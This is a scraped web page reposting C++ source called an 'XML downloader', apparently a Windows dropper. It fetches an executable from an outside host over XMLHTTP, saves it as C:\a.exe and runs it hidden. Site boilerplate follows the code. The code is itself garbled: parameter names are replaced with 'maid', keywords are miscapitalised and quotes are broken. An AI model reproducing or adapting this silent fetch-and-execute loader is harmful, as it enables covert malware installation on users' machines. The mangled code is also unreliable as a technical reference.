XML downloader by cooldiyer

Source: Internet
Author: User

XML downloader by cooldiyer

// XML. cpp: By cooldiyer 2008/4/9 14:03
//
# Pragma comment (linker, "/subsystem: Windows/filealign: 0 × 200/OPT: nowin98")

# Include <windows. h>
# Include <atlbase. h>
# Import "MSXML. dll"
Bool urldownloadtofile (maid, maid)
{
MSXML: ixmlhttprequestptr XMLHTTP = NULL;
Hresult hr;
BSTR bstrstring = NULL;
HR = XMLHTTP. createinstance ("msxml2.xmlhttp");
If (! Succeeded (HR) return false;
HR = XMLHTTP-> open ("get", szurl, false );
If (! Succeeded (HR) return false;
HR = XMLHTTP-> send ();
If (! Succeeded (HR) return false;
XMLHTTP-> get_responsetext (& bstrstring );
If (! Succeeded (HR) return false;

Variant vvalue;
XMLHTTP-> get_responsestream (& vvalue );

Istream * pistream = NULL;
Statstg;
Pistream = (istream *) vvalue. punkval; // gets the stream object pointer.
Pistream-> Stat (& statstg, null );
Ulong nsize = ulong (statstg. cbsize. quadpart); // obtain the object length.

Handle hfile = createfile (szfilename, generic_write, file_share_write, null, create_always, file_attribute_normal, null );

Byte lpbuffer [1024];
DWORD dwbyteswritten = 0;
Ulong Ulen;
While (nsize> 0)
{
Pistream-> Read (lpbuffer, min (nsize, 1024), & Ulen); // prevent files from being too large
Writefile (hfile, lpbuffer, Ulen, & dwbyteswritten, null );
Nsize-= Ulen;
}
Closehandle (hfile );
If (pistream)
{
Pistream-> release ();
Pistream = NULL;
}
Return true;
}

Int winapi winmain (
Hinstance, // handle to current instance
Hinstance hprevinstance, // handle to previous instance
Lpstr lpcmdline, // command line
Int ncmdshow // show state
)
{
Coinitialize (null );
Char * lpszfile = "C: // a.exe";
Urldownloadtofile (http://xdiyer.com/x.exe", lpszfile );
Winexec (lpszfile, sw_hide );
Couninitialize ();
Return 0;
}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.